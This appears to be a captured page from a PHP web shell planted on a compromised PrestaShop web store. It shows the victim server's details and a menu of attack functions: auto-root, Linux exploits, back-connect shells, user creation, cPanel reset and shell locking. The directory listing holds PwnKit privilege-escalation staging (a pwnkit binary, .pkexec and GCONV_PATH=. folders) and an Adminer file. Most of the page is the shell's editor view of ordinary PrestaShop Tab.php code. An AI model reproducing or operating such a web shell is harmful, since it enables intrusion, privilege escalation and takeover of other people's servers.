Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Tab.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ /** * Class TabCore. */ class TabCore extends ObjectModel { /** @var string Displayed name */ public $name; /** @var string Class and file name */ public $class_name; /** @var string Route name for Symfony */ public $route_name; public $module; /** @var int parent ID */ public $id_parent; /** @var int position */ public $position; /** @var bool active */ public $active = true; /** @var bool enabled */ public $enabled = true; /** @var int hide_host_mode */ public $hide_host_mode = false; /** @var string Icon font */ public $icon; const TAB_MODULE_LIST_URL = _PS_TAB_MODULE_LIST_URL_; /** * @see ObjectModel::$definition */ public static $definition = [ 'table' => 'tab', 'primary' => 'id_tab', 'multilang' => true, 'fields' => [ 'id_parent' => ['type' => self::TYPE_INT, 'validate' => 'isInt'], 'position' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'], 'module' => ['type' => self::TYPE_STRING, 'validate' => 'isTabName', 'size' => 64], 'class_name' => ['type' => self::TYPE_STRING, 'required' => true, 'size' => 64], 'route_name' => ['type' => self::TYPE_STRING, 'required' => false, 'size' => 256], 'active' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'enabled' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'hide_host_mode' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'icon' => ['type' => self::TYPE_STRING, 'size' => 64], /* Lang fields */ 'name' => ['type' => self::TYPE_STRING, 'lang' => true, 'required' => true, 'validate' => 'isTabName', 'size' => 64], ], ]; protected static $_getIdFromClassName = null; /** * Additional treatments for Tab when creating new one: * - generate a new position * - add access for admin profile. * * @param bool $autoDate * @param bool $nullValues * * @return bool true if success */ public function add($autoDate = true, $nullValues = false) { self::$_cache_tabs = []; // Set good position for new tab $this->position = Tab::getNewLastPosition($this->id_parent); $this->module = Tools::strtolower($this->module); // Add tab if (parent::add($autoDate, $nullValues)) { //forces cache to be reloaded self::$_getIdFromClassName = null; return Tab::initAccess($this->id); } return false; } /** * @param bool $nullValues * @param bool $autoDate * * @return bool */ public function save($nullValues = false, $autoDate = true) { self::$_getIdFromClassName = null; return parent::save(); } /** When creating a new tab $id_tab, this add default rights to the table access * * @todo this should not be public static but protected * * @param int $idTab * @param Context $context * * @return bool true if succeed */ public static function initAccess($idTab, Context $context = null) { if (!$context) { $context = Context::getContext(); } /* Right management */ $slug = 'ROLE_MOD_TAB_' . strtoupper(self::getClassNameById($idTab)); foreach (['CREATE', 'READ', 'UPDATE', 'DELETE'] as $action) { /* * Check if authorization role does not exist. * This can happen if you want to create several tabs with the same class_name or route_name */ $actionSlug = pSQL($slug . '_' . $action); $authorizationRole = Db::getInstance()->getRow( 'SELECT slug FROM `' . _DB_PREFIX_ . 'authorization_role` ' . 'WHERE `slug` = "' . $actionSlug . '"' ); if (empty($authorizationRole)) { Db::getInstance()->execute( 'INSERT INTO `' . _DB_PREFIX_ . 'authorization_role` (`slug`) VALUES ("' . $actionSlug . '")' ); } } $access = new Access(); foreach (['view', 'add', 'edit', 'delete'] as $action) { $access->updateLgcAccess('1', $idTab, $action, true); if ($context->employee && $context->employee->id_profile) { $access->updateLgcAccess($context->employee->id_profile, $idTab, $action, true); } } return true; } public function delete() { if (parent::delete()) { $slug = 'ROLE_MOD_TAB_' . strtoupper($this->class_name); foreach (['CREATE', 'READ', 'UPDATE', 'DELETE'] as $action) { Db::getInstance()->execute('DELETE FROM `' . _DB_PREFIX_ . 'authorization_role` WHERE `slug` = "' . $slug . '_' . $action . '"'); } if (is_array(self::$_getIdFromClassName) && isset(self::$_getIdFromClassName[strtolower($this->class_name)])) { self::$_getIdFromClassName = null; } return $this->cleanPositions($this->id_parent); } return false; } /** * Get tab id. * * @return int tab id */ public static function getCurrentTabId() { $idTab = Tab::getIdFromClassName(Tools::getValue('controller')); // retro-compatibility 1.4/1.5 if (empty($idTab)) { $idTab = Tab::getIdFromClassName(Tools::getValue('tab')); } return $idTab; } /** * Get tab parent id. * * @return int tab parent id */ public static function getCurrentParentId() { $cacheId = 'getCurrentParentId_' . Tools::strtolower(Tools::getValue('controller')); if (!Cache::isStored($cacheId)) { $value = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' SELECT `id_parent` FROM `' . _DB_PREFIX_ . 'tab` WHERE LOWER(class_name) = \'' . pSQL(Tools::strtolower(Tools::getValue('controller'))) . '\''); if (!$value) { $value = -1; } Cache::store($cacheId, $value); return $value; } return Cache::retrieve($cacheId); } /** * Get tab. * * @return array tab */ public static function getTab($idLang, $idTab) { $cacheId = 'Tab::getTab_' . (int) $idLang . '-' . (int) $idTab; if (!Cache::isStored($cacheId)) { /* Tabs selection */ $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow( ' SELECT * FROM `' . _DB_PREFIX_ . 'tab` t LEFT JOIN `' . _DB_PREFIX_ . 'tab_lang` tl ON (t.`id_tab` = tl.`id_tab` AND tl.`id_lang` = ' . (int) $idLang . ') WHERE t.`id_tab` = ' . (int) $idTab . (defined('_PS_HOST_MODE_') ? ' AND `hide_host_mode` = 0' : '') ); Cache::store($cacheId, $result); return $result; } return Cache::retrieve($cacheId); } /** * Return the list of tab used by a module. * * @return array */ public static function getModuleTabList() { $list = []; $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT t.`class_name`, t.`module` FROM `' . _DB_PREFIX_ . 'tab` t WHERE t.`module` IS NOT NULL AND t.`module` != ""'); if (is_array($result)) { foreach ($result as $detail) { $list[strtolower($detail['class_name'])] = $detail; } } return $list; } /** * Get tabs. * * @return array tabs */ protected static $_cache_tabs = []; public static function getTabs($idLang, $idParent = null) { if (!isset(self::$_cache_tabs[$idLang])) { self::$_cache_tabs[$idLang] = []; // Keep t.*, tl.name instead of only * because if translations are missing, the join on tab_lang will overwrite the id_tab in the results $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS( ' SELECT t.*, tl.name FROM `' . _DB_PREFIX_ . 'tab` t LEFT JOIN `' . _DB_PREFIX_ . 'tab_lang` tl ON (t.`id_tab` = tl.`id_tab` AND tl.`id_lang` = ' . (int) $idLang . ') WHERE 1 ' . (defined('_PS_HOST_MODE_') ? ' AND `hide_host_mode` = 0' : '') . ' ORDER BY t.`position` ASC' ); if (is_array($result)) { foreach ($result as $row) { if (!isset(self::$_cache_tabs[$idLang][$row['id_parent']])) { self::$_cache_tabs[$idLang][$row['id_parent']] = []; } self::$_cache_tabs[$idLang][$row['id_parent']][] = $row; } } } if ($idParent === null) { $arrayAll = []; foreach (self::$_cache_tabs[$idLang] as $arrayParent) { $arrayAll = array_merge($arrayAll, $arrayParent); } return $arrayAll; } return isset(self::$_cache_tabs[$idLang][$idParent]) ? self::$_cache_tabs[$idLang][$idParent] : []; } /** * Get tab id from name. * * @deprecated since version 1.7.1.0, available now in PrestaShopBundle\Entity\Repository\TabRepository::findOneIdByClassName($className) * * @param string $className * * @return int Tab ID */ public static function getIdFromClassName($className) { $className = self::getClassName($className); if (self::$_getIdFromClassName === null) { self::$_getIdFromClassName = []; $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT id_tab, class_name FROM `' . _DB_PREFIX_ . 'tab`', true, false); if (is_array($result)) { foreach ($result as $row) { self::$_getIdFromClassName[strtolower($row['class_name'])] = $row['id_tab']; } } } return isset(self::$_getIdFromClassName[$className]) ? (int) self::$_getIdFromClassName[$className] : false; } /** * @deprecated 1.7.0, to be removed in 1.7.1. Upgrade module to 1.7. */ private static function getClassName($className) { $legacyClassNames = [ 'AdminTools', 'AdminPriceRule', 'AdminAdmin', 'AdminParentStats', 'AdminMarketing', 'AdminCarrierWizard', 'AdminTabs', ]; if (in_array($className, $legacyClassNames)) { @trigger_error($className . ' is a deprecated tab since version 1.7.0 and "Default" will be removed in 1.7.1.. Upgrade module using the docs: http://build.prestashop.com/news/how-we-reorganized-main-menu-prestashop-1.7/.', E_USER_DEPRECATED); $className = 'DEFAULT'; } return strtolower($className); } /** * Get collection from module name. * * @param $module string Module name * @param null $idLang integer Language ID * * @return array|PrestaShopCollection Collection of tabs (or empty array) */ public static function getCollectionFromModule($module, $idLang = null) { if (null === $idLang) { $idLang = Context::getContext()->language->id; } if (!Validate::isModuleName($module)) { return []; } $tabs = new PrestaShopCollection('Tab', (int) $idLang); $tabs->where('module', '=', $module); return $tabs; } /** * Enabling tabs for module. * * @param $module string Module Name * * @return bool Status */ public static function enablingForModule($module) { $tabs = Tab::getCollectionFromModule($module); if (!empty($tabs)) { foreach ($tabs as $tab) { $tab->active = 1; $tab->save(); } return true; } return false; } /** * Disabling tabs for module. * * @param $module string Module name * * @return bool Status */ public static function disablingForModule($module) { $tabs = Tab::getCollectionFromModule($module); if (!empty($tabs)) { foreach ($tabs as $tab) { $tab->active = 0; $tab->save(); } return true; } return false; } /** * Get Instance from tab class name. * * @param $className string Name of tab class * @param $idLang integer id_lang * * @return Tab Tab object (empty if bad id or class name) */ public static function getInstanceFromClassName($className, $idLang = null) { $idTab = (int) Tab::getIdFromClassName($className); return new Tab($idTab, $idLang); } public static function getNbTabs($idParent = null) { return (int) Db::getInstance()->getValue( ' SELECT COUNT(*) FROM `' . _DB_PREFIX_ . 'tab` t ' . (null !== $idParent ? 'WHERE t.`id_parent` = ' . (int) $idParent : '') ); } /** * return an available position in subtab for parent $id_parent. * * @param mixed $idParent * * @return int */ public static function getNewLastPosition($idParent) { return Db::getInstance()->getValue( ' SELECT IFNULL(MAX(position),0)+1 FROM `' . _DB_PREFIX_ . 'tab` WHERE `id_parent` = ' . (int) $idParent ); } public function move($direction) { $nbTabs = Tab::getNbTabs($this->id_parent); if ($direction != 'l' && $direction != 'r') { return false; } if ($nbTabs <= 1) { return false; } if ($direction == 'l' && $this->position <= 1) { return false; } if ($direction == 'r' && $this->position >= $nbTabs) { return false; } $newPosition = ($direction == 'l') ? $this->position - 1 : $this->position + 1; Db::getInstance()->execute( ' UPDATE `' . _DB_PREFIX_ . 'tab` t SET position = ' . (int) $this->position . ' WHERE id_parent = ' . (int) $this->id_parent . ' AND position = ' . (int) $newPosition ); $this->position = $newPosition; return $this->update(); } /** * Clean positions. * * @param int $idParent Parent ID * * @return bool */ public function cleanPositions($idParent) { $result = Db::getInstance()->executeS(' SELECT `id_tab` FROM `' . _DB_PREFIX_ . 'tab` WHERE `id_parent` = ' . (int) $idParent . ' ORDER BY `position` '); $sizeof = count($result); for ($i = 0; $i < $sizeof; ++$i) { Db::getInstance()->execute( ' UPDATE `' . _DB_PREFIX_ . 'tab` SET `position` = ' . ($i + 1) . ' WHERE `id_tab` = ' . (int) $result[$i]['id_tab'] ); } return true; } /** * Update position. * * @param bool $way * @param int $position * * @return bool */ public function updatePosition($way, $position) { if (!$res = Db::getInstance()->executeS( ' SELECT t.`id_tab`, t.`position`, t.`id_parent` FROM `' . _DB_PREFIX_ . 'tab` t WHERE t.`id_parent` = ' . (int) $this->id_parent . ' ORDER BY t.`position` ASC' )) { return false; } foreach ($res as $tab) { if ((int) $tab['id_tab'] == (int) $this->id) { $movedTab = $tab; } } if (!isset($movedTab) || !isset($position)) { return false; } // < and > statements rather than BETWEEN operator // since BETWEEN is treated differently according to databases $result = (Db::getInstance()->execute(' UPDATE `' . _DB_PREFIX_ . 'tab` SET `position`= `position` ' . ($way ? '- 1' : '+ 1') . ' WHERE `position` ' . ($way ? '> ' . (int) $movedTab['position'] . ' AND `position` <= ' . (int) $position : '< ' . (int) $movedTab['position'] . ' AND `position` >= ' . (int) $position) . ' AND `id_parent`=' . (int) $movedTab['id_parent']) && Db::getInstance()->execute(' UPDATE `' . _DB_PREFIX_ . 'tab` SET `position` = ' . (int) $position . ' WHERE `id_parent` = ' . (int) $movedTab['id_parent'] . ' AND `id_tab`=' . (int) $movedTab['id_tab'])); return $result; } /** * Check Tab rights. * * @param int $idTab Tab ID * * @return bool Current employee has access to tab */ public static function checkTabRights($idTab) { static $tabAccesses = null; if (Context::getContext()->employee->id_profile == _PS_ADMIN_PROFILE_) { return true; } if ($tabAccesses === null) { $tabAccesses = Profile::getProfileAccesses(Context::getContext()->employee->id_profile); } if (isset($tabAccesses[(int) $idTab]['view'])) { return $tabAccesses[(int) $idTab]['view'] === '1'; } return false; } public static function recursiveTab($idTab, $tabs) { $adminTab = Tab::getTab((int) Context::getContext()->language->id, $idTab); $tabs[] = $adminTab; if ($adminTab['id_parent'] > 0) { $tabs = Tab::recursiveTab($adminTab['id_parent'], $tabs); } return $tabs; } /** * Overrides update to set position to last when changing parent tab. * * @see ObjectModel::update * * @param bool $nullValues * * @return bool */ public function update($nullValues = false) { $current_tab = new Tab($this->id); if ($current_tab->id_parent != $this->id_parent) { $this->position = Tab::getNewLastPosition($this->id_parent); } self::$_cache_tabs = []; return parent::update($nullValues); } /** * Get Tab by Profile ID. * * @param int $idParent * @param int $idProfile * * @return array|false|mysqli_result|PDOStatement|resource|null */ public static function getTabByIdProfile($idParent, $idProfile) { return Db::getInstance()->executeS(' SELECT t.`id_tab`, t.`id_parent`, tl.`name`, a.`id_profile` FROM `' . _DB_PREFIX_ . 'tab` t LEFT JOIN `' . _DB_PREFIX_ . 'access` a ON (a.`id_tab` = t.`id_tab`) LEFT JOIN `' . _DB_PREFIX_ . 'tab_lang` tl ON (t.`id_tab` = tl.`id_tab` AND tl.`id_lang` = ' . (int) Context::getContext()->language->id . ') WHERE a.`id_profile` = ' . (int) $idProfile . ' AND t.`id_parent` = ' . (int) $idParent . ' AND a.`view` = 1 AND a.`edit` = 1 AND a.`delete` = 1 AND a.`add` = 1 AND t.`id_parent` != 0 AND t.`id_parent` != -1 ' . (defined('_PS_HOST_MODE_') ? ' AND `hide_host_mode` = 0' : '') . ' ORDER BY t.`id_parent` ASC '); } /** * @since 1.5.0 */ public static function getClassNameById($idTab) { return Db::getInstance()->getValue('SELECT class_name FROM ' . _DB_PREFIX_ . 'tab WHERE id_tab = ' . (int) $idTab); } public static function getTabModulesList($idTab) { $modulesList = ['default_list' => [], 'slider_list' => []]; if (!Tools::isFileFresh(Module::CACHE_FILE_TAB_MODULES_LIST, Tools::CACHE_LIFETIME_SECONDS)) { Tools::refreshFile(Module::CACHE_FILE_TAB_MODULES_LIST, _PS_TAB_MODULE_LIST_URL_); } $xmlTabModulesList = @simplexml_load_file(_PS_ROOT_DIR_ . Module::CACHE_FILE_TAB_MODULES_LIST); $className = null; $displayType = 'default_list'; if ($xmlTabModulesList) { foreach ($xmlTabModulesList->tab as $tab) { foreach ($tab->attributes() as $key => $value) { if ($key == 'class_name') { $className = (string) $value; } } if (Tab::getIdFromClassName((string) $className) == $idTab) { foreach ($tab->attributes() as $key => $value) { if ($key == 'display_type') { $displayType = (string) $value; } } foreach ($tab->children() as $module) { $modulesList[$displayType][(int) $module['position']] = (string) $module['name']; } ksort($modulesList[$displayType]); } } } return $modulesList; } }
Close